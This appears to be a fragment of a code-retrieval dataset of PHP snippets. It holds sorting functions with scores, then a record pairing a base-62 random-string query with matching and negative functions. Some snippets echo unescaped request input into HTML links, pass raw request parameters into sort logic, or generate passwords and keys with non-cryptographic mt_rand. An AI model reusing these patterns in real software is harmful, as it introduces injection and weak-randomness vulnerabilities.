highest_bid\n\t\t\t$this->UpdateSort($this->auction_status); // auction_status\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "public function buildSortQuery()\n\t\t\t{\n\t\t\t\t$this->sql_sort = $this->fields_arr['orderby_field'].' '.$this->fields_arr['orderby'];\n\t\t\t}", "public function getSorts() {\n return $this->sorts;\n }", "function SetupSortOrder() {\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$this->CurrentOrder = @$_GET[\"order\"];\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$this->UpdateSort($this->nombre_contacto); // nombre_contacto\n\t\t\t$this->UpdateSort($this->name); // name\n\t\t\t$this->UpdateSort($this->lastname); // lastname\n\t\t\t$this->UpdateSort($this->_email); // email\n\t\t\t$this->UpdateSort($this->address); // address\n\t\t\t$this->UpdateSort($this->phone); // phone\n\t\t\t$this->UpdateSort($this->cell); // cell\n\t\t\t$this->UpdateSort($this->created_at); // created_at\n\t\t\t$this->UpdateSort($this->id_sucursal); // id_sucursal\n\t\t\t$this->UpdateSort($this->tipoinmueble); // tipoinmueble\n\t\t\t$this->UpdateSort($this->tipovehiculo); // tipovehiculo\n\t\t\t$this->UpdateSort($this->tipomaquinaria); // tipomaquinaria\n\t\t\t$this->UpdateSort($this->tipomercaderia); // tipomercaderia\n\t\t\t$this->UpdateSort($this->tipoespecial); // tipoespecial\n\t\t\t$this->UpdateSort($this->email_contacto); // email_contacto\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "function product_sorting_link( $views ) {\n\t\tglobal $post_type, $wp_query;\n\t\t\n\t\t $settings = array(\n\t\t\t'featured_enable' => 'true'\n\t\t);\n\t\t\t\n\t\t$settings = woo_get_dynamic_values( $settings );\n\t\t\n\t\tif ( ! current_user_can('edit_others_pages') ) return $views;\n\t\t$class = ( isset( $wp_query->query['orderby'] ) && $wp_query->query['orderby'] == 'menu_order title' ) ? 'current' : '';\n\t\t$query_string = remove_query_arg(array( 'orderby', 'order' ));\n\t\t$query_string = add_query_arg( 'orderby', urlencode('menu_order title'), $query_string );\n\t\t$query_string = add_query_arg( 'order', urlencode('ASC'), $query_string );\n\t\t$query_string = add_query_arg( 'featured', urlencode('true'), $query_string );\n\t\t$views['byorder'] = '<a href=\"'. $query_string . '\" class=\"' . $class . '\">' . __( 'Sort Products', 'woocommerce' ) . '</a>';\n\n\t\treturn $views;\n\t}", "function SetUpSortOrder() {\n\t\tglobal $scholarship_package;\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$scholarship_package->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$scholarship_package->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$scholarship_package->UpdateSort($scholarship_package->scholarship_package_id); // scholarship_package_id\n\t\t\t$scholarship_package->UpdateSort($scholarship_package->start_date); // start_date\n\t\t\t$scholarship_package->UpdateSort($scholarship_package->end_date); // end_date\n\t\t\t$scholarship_package->UpdateSort($scholarship_package->status); // status\n\t\t\t$scholarship_package->UpdateSort($scholarship_package->annual_amount); // annual_amount\n\t\t\t$scholarship_package->UpdateSort($scholarship_package->grant_package_grant_package_id); // grant_package_grant_package_id\n\t\t\t$scholarship_package->UpdateSort($scholarship_package->sponsored_student_sponsored_student_id); // sponsored_student_sponsored_student_id\n\t\t\t$scholarship_package->UpdateSort($scholarship_package->scholarship_type); // scholarship_type\n\t\t\t$scholarship_package->UpdateSort($scholarship_package->scholarship_type_scholarship_type); // scholarship_type_scholarship_type\n\t\t\t$scholarship_package->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "public function sort()\n {\n $column_id = $this->request->getIntegerParam('column_id');\n $project = $this->getProject();\n $search = $this->helper->projectHeader->getSearchQuery($project);\n\n $this->taskVoteModel->sortByVoting($column_id);\n\n $this->response->redirect($this->helper->url->to('BoardViewController', 'show', array('project_id' => $project['id'], 'search' => $search)), true);\n }", "function SetUpSortOrder() {\r\n\t\tglobal $fs_multijoin_v;\r\n\r\n\t\t// Check for \"order\" parameter\r\n\t\tif (@$_GET[\"order\"] <> \"\") {\r\n\t\t\t$fs_multijoin_v->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\r\n\t\t\t$fs_multijoin_v->CurrentOrderType = @$_GET[\"ordertype\"];\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->id); // id\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->mount); // mount\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->path); // path\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->parent); // parent\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->deprecated); // deprecated\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->name); // name\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->snapshot); // snapshot\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->tapebackup); // tapebackup\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->diskbackup); // diskbackup\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->type); // type\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->CONTACT); // CONTACT\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->CONTACT2); // CONTACT2\r\n\t\t\t$fs_multijoin_v->UpdateSort($fs_multijoin_v->RESCOMP); // RESCOMP\r\n\t\t\t$fs_multijoin_v->setStartRecordNumber(1); // Reset start position\r\n\t\t}\r\n\t}", "function SetUpSortOrder() {\r\n\r\n\t\t// Check for \"order\" parameter\r\n\t\tif (@$_GET[\"order\"] <> \"\") {\r\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\r\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\r\n\t\t\t$this->UpdateSort($this->RazonSocial); // RazonSocial\r\n\t\t\t$this->UpdateSort($this->NombreContacto); // NombreContacto\r\n\t\t\t$this->UpdateSort($this->Poblacion); // Poblacion\r\n\t\t\t$this->UpdateSort($this->Id_Estado); // Id_Estado\r\n\t\t\t$this->UpdateSort($this->Telefonos); // Telefonos\r\n\t\t\t$this->UpdateSort($this->Celular); // Celular\r\n\t\t\t$this->UpdateSort($this->Maneja_Papeleta); // Maneja_Papeleta\r\n\t\t\t$this->UpdateSort($this->Maneja_Activacion_Movi); // Maneja_Activacion_Movi\r\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\r\n\t\t}\r\n\t}", "function get_abook_sort() {\n global $data_dir, $username;\n\n /* get sorting order */\n if(sqgetGlobalVar('abook_sort_order', $temp, SQ_GET)) {\n $abook_sort_order = (int) $temp;\n\n if ($abook_sort_order < 0 or $abook_sort_order > 8)\n $abook_sort_order=8;\n\n setPref($data_dir, $username, 'abook_sort_order', $abook_sort_order);\n } else {\n /* get previous sorting options. default to unsorted */\n $abook_sort_order = getPref($data_dir, $username, 'abook_sort_order', 8);\n }\n\n return $abook_sort_order;\n}", "function generate_sort_links($user_search, $sort) {\n $sort_links = '';\n\n switch ($sort) {\n // Sorted by ascending job title\n case 1:\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=2\">Job Title</a></td><td>Description</td>';\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=3\">State</a></td>';\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=5\">Date Posted</a></td>';\n break;\n // Sorted by ascending state\n case 3:\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=1\">Job Title</a></td><td>Description</td>';\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=4\">State</a></td>';\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=5\">Date Posted</a></td>';\n break;\n // Sorted by ascending date posted\n case 5:\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=1\">Job Title</a></td><td>Description</td>';\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=3\">State</a></td>';\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=6\">Date Posted</a></td>';\n break;\n // Default sorting or some descending sorting selected\n default:\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=1\">Job Title</a></td><td>Description</td>';\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=3\">State</a></td>';\n $sort_links .= '<td><a href=\"' . $_SERVER['PHP_SELF'] . '?usersearch='\n . $user_search . '&sort=5\">Date Posted</a></td>';\n break;\n }\n\n return $sort_links;\n }", "function MyMod_Sort_Items($sort=\"\",$reverse=\"\")\n {\n if ($sort==\"\") { $sort=$this->MyMod_Sort_Get(); }\n if ($reverse==\"\") { $reverse=$this->MyMod_Sort_Reverse_Get($reverse); }\n\n if (!is_array($sort))\n {\n $sort=preg_split('/\\s*,\\s*/',$sort);\n }\n\n array_push($sort,\"ID\"); //ID makes sort fields unique!\n\n $hashes=array();\n foreach ($this->ItemHashes as $n => $hash)\n {\n $value=\"\";\n foreach ($sort as $iid => $key)\n {\n if (!isset($this->ItemData[ $key ]))\n {\n if (!empty($hash[ $key ]))\n {\n $value.=\" \".$hash[ $key ]; \n }\n continue;\n }\n\n $rvalue=\"\";\n if (!empty($hash[ $key ])) { $rvalue=$hash[ $key ]; }\n\n if (isset($this->ItemData[ $key ][ \"SqlObject\" ]))\n {\n $object=$this->ItemData[ $key ][ \"SqlObject\" ];\n $rvalue=$this->ApplicationObj->$object->MyMod_Item_Name_Get($rvalue);\n }\n\n if (\n $key==\"ID\"\n ||\n (\n isset($this->ItemData[ $key ][ \"NumericalSort\" ])\n &&\n $this->ItemData[ $key ][ \"NumericalSort\" ]==TRUE\n )\n )\n {\n if (\n isset($this->ItemData[ $key ][ \"SortReverse\" ])\n &&\n $this->ItemData[ $key ][ \"SortReverse\" ]==TRUE\n )\n {\n $rvalue=sprintf(\"%06d\",1000000-$hash[ $key ]);\n }\n else\n {\n $rvalue=sprintf(\"%06d\",$hash[ $key ]);\n }\n }\n elseif (isset($this->ItemData[ $key ][ \"SqlTable\" ]))\n {\n $rvalue=$this->GetEnumValue($key,$hash);\n }\n elseif ($this->ItemData[ $key ][ \"Sql\" ]==\"INT\")\n {\n $rvalue=sprintf(\"%06d\",$rvalue);\n }\n elseif (!empty($this->ItemData[ $key ][ \"DerivedFilter\" ]))\n {\n $rvalue=$this->FilterHash($this->ItemData[ $key ][ \"DerivedFilter\" ],$hash);\n }\n elseif (!empty($this->ItemData[ $key ][ \"DerivedNamer\" ]))\n {\n $rvalue=$hash[ $this->ItemData[ $key ][ \"DerivedNamer\" ] ];\n }\n elseif (!empty($this->ItemData[ $key ][ \"SortAsDate\" ]))\n {\n $rvalue=$this->Date2Sort($hash[ $key ]);\n }\n\n if ($rvalue!=\"\") { $value.=\" \".$rvalue; }\n }\n\n $value=preg_replace('/^\\s*/',\"\",$value);\n $value=preg_replace('/\\s*$/',\"\",$value);\n\n $value=$this->Text2Sort($value);\n $value=$this->Html2Sort($value);\n\n //Make sure two items do not have same sort key\n while (isset($hashes[ $value ]))\n {\n $value.=\"a\";\n }\n\n $value=strtolower($value);\n $hashes[ $value ]=$hash;\n }\n\n $this->ItemHashes=array();\n\n $keys=array_keys($hashes);\n sort($keys);\n if ($reverse) { $keys=array_reverse($keys); }\n\n foreach ($keys as $rkey)\n {\n array_push($this->ItemHashes,$hashes[ $rkey ]);\n }\n\n //return $this->ItemHashes;\n }", "public function changeContentSortingAndCopyLivePage() {}", "function get_sort_field() {\n return '';\n }", "function prepare_items() {\n\n\t\tglobal $wpdb; //This is used only if making any database queries\n\n\t\t/**\n\t\t * First, lets decide how many records per page to show\n\t\t */\n\t\t$per_page = 4;\n\t\t\n\t\t\n\t\t/**\n\t\t * REQUIRED. Now we need to define our column headers. This includes a complete\n\t\t * array of columns to be displayed (slugs & titles), a list of columns\n\t\t * to keep hidden, and a list of columns that are sortable. Each of these\n\t\t * can be defined in another method (as we've done here) before being\n\t\t * used to build the value for our _column_headers property.\n\t\t */\n\t\t$columns = $this->get_columns();\n\t\t$hidden = array();\n\t\t$sortable = $this->get_sortable_columns();\n\t\t\n\t\t\n\t\t/**\n\t\t * REQUIRED. Finally, we build an array to be used by the class for column \n\t\t * headers. The $this->_column_headers property takes an array which contains\n\t\t * 3 other arrays. One for all columns, one for hidden columns, and one\n\t\t * for sortable columns.\n\t\t */\n\t\t$this->_column_headers = array($columns, $hidden, $sortable);\n\t\t\n\t\t\n\t\t/**\n\t\t * Optional. You can handle your bulk actions however you see fit. In this\n\t\t * case, we'll handle them within our package just to keep things clean.\n\t\t */\n\t\t$this->process_bulk_action();\n\t\t\n\t\t\n\t\t/**\n\t\t * Instead of querying a database, we're going to fetch the example data\n\t\t * property we created for use in this plugin. This makes this example \n\t\t * package slightly different than one you might build on your own. In \n\t\t * this example, we'll be using array manipulation to sort and paginate \n\t\t * our data. In a real-world implementation, you will probably want to \n\t\t * use sort and pagination data to build a custom query instead, as you'll\n\t\t * be able to use your precisely-queried data immediately.\n\t\t */\n\t\t$data = $this->example_data;\n\t\t\t\t\n\t\t\n\t\t/**\n\t\t * This checks for sorting input and sorts the data in our array accordingly.\n\t\t * \n\t\t * In a real-world situation involving a database, you would probably want \n\t\t * to handle sorting by passing the 'orderby' and 'order' values directly \n\t\t * to a custom query. The returned data will be pre-sorted, and this array\n\t\t * sorting technique would be unnecessary.\n\t\t */\n\t\tfunction usort_reorder( $a, $b ) {\n\n\t\t\t//If no sort, default to title\n\t\t\t$orderby = ( ! empty( $_REQUEST['orderby'] ) ) ? $_REQUEST['orderby'] : 'title';\n\t\t\t//If no order, default to asc\n\t\t\t$order = ( ! empty( $_REQUEST['order'] ) ) ? $_REQUEST['order'] : 'asc';\n\t\t\t //Determine sort order\n\t\t\t$result = strcmp( $a[ $orderby ], $b[ $orderby ] );\n\t\t\t//Send final sort direction to usort\n\t\t\treturn ( 'asc' === $order ) ? $result : -$result; \n\t\t}\n\t\tusort( $data, 'usort_reorder' );\n\t\t\n\t\t\n\t\t/***********************************************************************\n\t\t * ---------------------------------------------------------------------\n\t\t * vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv\n\t\t * \n\t\t * In a real-world situation, this is where you would place your query.\n\t\t *\n\t\t * For information on making queries in WordPress, see this Codex entry:\n\t\t * http://codex.wordpress.org/Class_Reference/wpdb\n\t\t * \n\t\t * ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\t\t * ---------------------------------------------------------------------\n\t\t **********************************************************************/\n\t\t\n\t\t\t\t\n\t\t/**\n\t\t * REQUIRED for pagination. Let's figure out what page the user is currently \n\t\t * looking at. We'll need this later, so you should always include it in \n\t\t * your own package classes.\n\t\t */\n\t\t$current_page = $this->get_pagenum();\n\t\t\n\t\t/**\n\t\t * REQUIRED for pagination. Let's check how many items are in our data array. \n\t\t * In real-world use, this would be the total number of items in your database, \n\t\t * without filtering. We'll need this later, so you should always include it \n\t\t * in your own package classes.\n\t\t */\n\t\t$total_items = count($data);\n\t\t\n\t\t\n\t\t/**\n\t\t * The WP_List_Table class does not handle pagination for us, so we need\n\t\t * to ensure that the data is trimmed to only the current page. We can use\n\t\t * array_slice() to \n\t\t */\n\t\t$data = array_slice($data,(($current_page-1)*$per_page),$per_page);\n\t\t\n\t\t\n\t\t\n\t\t/**\n\t\t * REQUIRED. Now we can add our *sorted* data to the items property, where \n\t\t * it can be used by the rest of the class.\n\t\t */\n\t\t$this->items = $data;\n\t\t\n\t\t\n\t\t/**\n\t\t * REQUIRED. We also have to register our pagination options & calculations.\n\t\t */\n\t\t$this->set_pagination_args(\n\t\t\tarray(\n\t\t\t\t//WE have to calculate the total number of items\n\t\t\t\t'total_items'\t=> $total_items,\n\t\t\t\t//WE have to determine how many items to show on a page\n\t\t\t\t'per_page'\t=> $per_page,\n\t\t\t\t//WE have to calculate the total number of pages\n\t\t\t\t'total_pages'\t=> ceil( $total_items / $per_page ),\n\t\t\t\t// Set ordering values if needed (useful for AJAX)\n\t\t\t\t'orderby'\t=> ! empty( $_REQUEST['orderby'] ) && '' != $_REQUEST['orderby'] ? $_REQUEST['orderby'] : 'title',\n\t\t\t\t'order'\t\t=> ! empty( $_REQUEST['order'] ) && '' != $_REQUEST['order'] ? $_REQUEST['order'] : 'asc'\n\t\t\t)\n\t\t);\n\t}", "function getSort(){\n $sort = $_GET[\"sort\"];\n if ($sort != 'on') {\n $sort = 'off';\n }\n return $sort;\n}", "public function getID()\n\t{\n\t\treturn 'Sort';\n\t}", "function SetUpSortOrder() {\r\n\r\n\t\t// Check for \"order\" parameter\r\n\t\tif (@$_GET[\"order\"] <> \"\") {\r\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\r\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\r\n\t\t\t$this->UpdateSort($this->created_time); // created_time\r\n\t\t\t$this->UpdateSort($this->message); // message\r\n\t\t\t$this->UpdateSort($this->link); // link\r\n\t\t\t$this->UpdateSort($this->type); // type\r\n\t\t\t$this->UpdateSort($this->caption); // caption\r\n\t\t\t$this->UpdateSort($this->description); // description\r\n\t\t\t$this->UpdateSort($this->name); // name\r\n\t\t\t$this->UpdateSort($this->source); // source\r\n\t\t\t$this->UpdateSort($this->from); // from\r\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\r\n\t\t}\r\n\t}", "function setSort($sort) {\n $this->sort = $sort;\n }", "function SetUpSortOrder() {\n\t\tglobal $tbl_slide;\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$tbl_slide->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$tbl_slide->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$tbl_slide->UpdateSort($tbl_slide->title); // title\n\t\t\t$tbl_slide->UpdateSort($tbl_slide->images); // images\n\t\t\t$tbl_slide->UpdateSort($tbl_slide->order_by); // order_by\n\t\t\t$tbl_slide->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "function ibio_facetwp_sort_options( $options, $params ) {\n\n $options['date_desc'] = array(\n 'label' => 'Date Recorded (Newest)',\n 'query_args' => array(\n 'orderby' => 'meta_value', // sort by numerical custom field\n 'meta_key' => 'recorded_date', // required when sorting by custom fields\n 'order' => 'DESC', // descending order\n )\n\n );\n $options['date_asc'] = array(\n 'label' => 'Date Recorded (Oldest)',\n 'query_args' => array(\n 'orderby' => 'meta_value', // sort by numerical custom field\n 'meta_key' => 'recorded_date', // required when sorting by custom fields\n 'order' => 'ASC', // descending order\n )\n\n );\n /* $options['title_asc'] = array(\n 'label' => 'By Title (A-Z)',\n 'query_args' => array(\n 'orderby' => 'meta_value', // sort by numerical custom field\n 'meta_key' => 'short_title', // required when sorting by custom fields\n 'order' => 'ASC', // descending order\n )\n );\n $options['title_desc'] = array(\n 'label' => 'By Title (Z-A)',\n 'query_args' => array(\n 'orderby' => 'meta_value', // sort by numerical custom field\n 'meta_key' => 'short_title', // required when sorting by custom fields\n 'order' => 'DESC', // descending order\n )\n );*/\n\n // hide the sort by title options\n unset ( $options['title_asc'] );\n unset ( $options['title_desc'] );\n\n $options['duration-s'] = array(\n 'label' => 'Duration (shortest first)',\n 'query_args' => array(\n 'orderby' => 'meta_value_num', // sort by numerical custom field\n 'meta_key' => 'total_duration', // required when sorting by custom fields\n 'order' => 'ASC', // descending order\n )\n );\n return $options;\n}", "public function getSortValue() {}", "public function onSort()\n {\n if ($column = post('sortColumn')) {\n\n /*\n * Toggle the sort direction and set the sorting column\n */\n $sortOptions = ['column' => $this->getSortColumn(), 'direction' => $this->sortDirection];\n\n if ($column != $sortOptions['column'] || $sortOptions['direction'] == 'asc') {\n $this->sortDirection = $sortOptions['direction'] = 'desc';\n }\n else {\n $this->sortDirection = $sortOptions['direction'] = 'asc';\n }\n\n $this->sortColumn = $sortOptions['column'] = $column;\n\n $this->putSession('sort', $sortOptions);\n\n /*\n * Persist the page number\n */\n $this->currentPageNumber = post('page');\n\n return $this->onRefresh();\n }\n }", "private function addHandlesForSortingTo(Fieldset $Fieldset) {\n\t\t$Fieldset->addHandle( $this->handle('TRAINING_SORT_SPORTS'), array(\n\t\t\t'label'\t\t=> __('Sort: sports')\n\t\t));\n\n\t\t$Fieldset->addHandle( $this->handle('TRAINING_SORT_TYPES'), array(\n\t\t\t'label'\t\t=> __('Sort: activity types')\n\t\t));\n\n\t\t$Fieldset->addHandle( $this->handle('TRAINING_SORT_SHOES'), array(\n\t\t\t'label'\t\t=> __('Sort: equipment')\n\t\t));\n\t}" ]
[ "0.6922642", "0.68286306", "0.6816406", "0.67928624", "0.67879134", "0.67158514", "0.6688653", "0.66736907", "0.66736907", "0.65720415", "0.6535305", "0.6504182", "0.64288497", "0.64288497", "0.64288497", "0.6416254", "0.64117664", "0.64029133", "0.6389038", "0.63820213", "0.6372619", "0.6350452", "0.6304484", "0.6304484", "0.62604547", "0.6238046", "0.6227505", "0.6218429", "0.62182283", "0.6170041", "0.61691976", "0.6165325", "0.6160334", "0.6113411", "0.6112633", "0.60900766", "0.60711074", "0.6061449", "0.60553783", "0.60316163", "0.6026342", "0.60067785", "0.5994801", "0.59815055", "0.59713364", "0.59683305", "0.59563565", "0.5947123", "0.59423834", "0.59351486", "0.59256995", "0.59256995", "0.59158075", "0.58913237", "0.58819115", "0.58762854", "0.5874764", "0.58562356", "0.5847917", "0.5829405", "0.5828763", "0.5824606", "0.5824512", "0.5815096", "0.5812769", "0.58125854", "0.5809774", "0.58085203", "0.5801389", "0.57932067", "0.5779087", "0.5779087", "0.5746149", "0.5744074", "0.57400966", "0.5737714", "0.5731558", "0.5706672", "0.5689065", "0.56833535", "0.5682024", "0.5677923", "0.56779206", "0.5674844", "0.56683886", "0.5656608", "0.5652176", "0.5652096", "0.5651326", "0.56506395", "0.5643204", "0.5627227", "0.56256324", "0.5622062", "0.561943", "0.5605883", "0.5590916", "0.55904984", "0.55870914", "0.5577749" ]
0.63798296
20
Creates a random string encoded in base 62 with the given length.
function getRandomString($length) { $validCharacters = "123456789abcdefghijklmnopqrstuxyvwzABCDEFGHIJKLMNOPQRSTUXYVWZ"; $validCharNumber = strlen($validCharacters); $result = ""; for ($i = 0; $i < $length; $i++) { $index = mt_rand(0, $validCharNumber - 1); $result .= $validCharacters[$index]; } return $result; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function random_string($length, $base = 62) {\n\t$str = '';\n\twhile ($length--) {\n\t\t$x = mt_rand(1, min($base, 62));\n\t\t$str .= chr($x + ($x > 10 ? $x > 36 ? 28 : 86 : 47));\n\t}\n\treturn $str;\n}", "function StrBase62($length = 8)\n {\n $str = '';\n for ($i = 0; $i < $length; $i++)\n {\n $rand = mt_rand(0, 61);\n $str .= Base62Dict[$rand];\n }\n return $str;\n }", "public static function string ($length = 10) {\n\t\t$randstr = \"\";\n\n\t\tfor ($i = 0; $i < $length; $i++) {\n\t\t\t$randnum = mt_rand(0,61);\n\n\t\t\tif($randnum < 10) {\n\t\t\t\t$randstr .= chr($randnum+48);\n\n\t\t\t} else if($randnum < 36) {\n\t\t\t\t$randstr .= chr($randnum+55);\n\n\t\t\t} else {\n\t\t\t\t$randstr .= chr($randnum+61);\n\n\t\t\t}\n\t\t}\n\n\t\treturn $randstr;\n\t}", "public function generateRandStr($length) {\n $randstr = \"\";\n for ($i = 0; $i < $length; $i++) {\n $randnum = mt_rand(0, 61);\n if ($randnum < 10) {\n $randstr .= chr($randnum + 48);\n } else if ($randnum < 36) {\n $randstr .= chr($randnum + 55);\n } else {\n $randstr .= chr($randnum + 61);\n }\n }\n return $randstr;\n }", "function generateRandStr($length){\n \t\t$randstr = \"\";\n \t\tfor($i=0; $i<$length; $i++){\n \t\t$randnum = mt_rand(0,61);\n\t\t\t\tif($randnum < 10){\n \t\t$randstr .= chr($randnum+48);\n \t\t}else if($randnum < 36){\n \t\t$randstr .= chr($randnum+55);\n \t\t}else{\n \t\t$randstr .= chr($randnum+61);\n \t\t}\n \t\t}\n \t\treturn $randstr;\n \t\t}", "function random_string_length($length)\n {\n $len = $length;\n $base = \"ABCDEFGHIJKLMNRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789\";\n $max = strlen($base) - 1;\n $activatecode = '';\n mt_srand((double)microtime()*1000000);\n while(strlen($activatecode) < $len + 1)\n $activatecode .= $base{mt_rand(0,$max)};\n return $activatecode;\n }", "public static function base64($length = 20): string\n {\n return base64_encode(random_bytes($length));\n }", "function generateRandStr($length){\r\n \t\t$randstr = \"\";\r\n \t\tfor($i=0; $i<$length; $i++){\r\n \t\t$randnum = mt_rand(0,61);\r\n\t\t\t\tif($randnum < 10){\r\n \t\t$randstr .= chr($randnum+48);\r\n \t\t}else if($randnum < 36){\r\n \t\t$randstr .= chr($randnum+55);\r\n \t\t}else{\r\n \t\t$randstr .= chr($randnum+61);\r\n \t\t}\r\n \t\t}\r\n \t\treturn $randstr;\r\n \t\t}", "public static function string( $length ) {\n\t$chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\t\n $str = '';\n\t$size = strlen( $chars );\n\tfor( $i = 0; $i < $length; $i++ ) {\n\t\t$str .= $chars[ rand( 0, $size - 1 ) ];\n\t}\n\n\treturn $str;\n }", "public function genRandString($length = 0) {\n\n $charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n\n $str = '';\n\n $count = strlen($charset);\n\n while ($length-- > 0) {\n\n $str .= $charset[mt_rand(0, $count - 1)];\n\n }\n\n return $str;\n\n }", "public function generateRandomString($length = 10) {\n \n $characters = ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $randomString = '';\n \n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, strlen($characters) - 1)];\n }\n \n return $randomString;\n \n}", "function wpbm_generate_random_string( $length ){\n $string = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $random_string = '';\n for ( $i = 1; $i <= $length; $i ++ ) {\n $random_string .= $string[ rand( 0, 61 ) ];\n }\n return $random_string;\n }", "private function random($length = 16)\n {\n $string = '';\n while (($len = strlen($string)) < $length) {\n $size = $length - $len;\n // $bytes = random_bytes($size);\n $bytes = bin2hex(openssl_random_pseudo_bytes(32));\n $string .= substr(str_replace(['/', '+', '='], '', base64_encode($bytes)), 0, $size);\n }\n return $string;\n }", "static function random(int $length = 16): string {\n $string = '';\n while (($len = \\strlen($string)) < $length) {\n /** @var positive-int $size */\n $size = $length - $len;\n $bytes = random_bytes($size);\n $string .= substr(str_replace(['/', '+', '='], '', base64_encode($bytes)), 0, $size);\n }\n\n return $string;\n }", "private function generateRandomString($length)\n {\n return bin2hex(openssl_random_pseudo_bytes($length));\n }", "public static function string($length)\n {\n return openssl_random_pseudo_bytes($length, $is_strong);\n }", "function get_random_string($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, strlen($characters) - 1)];\n }\n return $randomString;\n }", "private function generate_password( $length = 64 ) {\n\t\t$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\n\t\t$password = '';\n\n\t\tfor ( $i = 0; $i < $length; $i ++ ) {\n\t\t\t$password .= substr( $chars, mt_rand( 0, 61 ), 1 );\n\t\t}\n\n\t\treturn $password;\n\t}", "public static function RandomString(int $length) : string {\n\n $key = '';\n for ($i = 0; $i < $length; $i++) {\n $key .= chr(mt_rand(32, 93));\n }\n\n return $key;\n }", "public static function random(int $length = 16): string\n {\n $string = '';\n\n while (($len = strlen($string)) < $length) {\n $size = $length - $len;\n\n $bytes = random_bytes($size);\n\n $string .= substr(str_replace(['/', '+', '='], '', base64_encode($bytes)), 0, $size);\n }\n\n return $string;\n }", "public static function generateRandomString($length = 6)\n {\n return bin2hex(openssl_random_pseudo_bytes($length));\n }", "function str_random($length)\n {\n return str_generate($length, '0123456789ABCDEDFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz');\n }", "public function get_rand_str($length = '5') {\n\t\treturn substr(str_shuffle(\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"), 0, $length);\n\t}", "public static function str_random($length = 16)\n\t{\n\t $pool = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\n\t return substr(str_shuffle(str_repeat($pool, $length)), 0, $length);\n\t}", "public static function generateCode(int $length = 10): string\n {\n return substr(bin2hex(random_bytes((int) 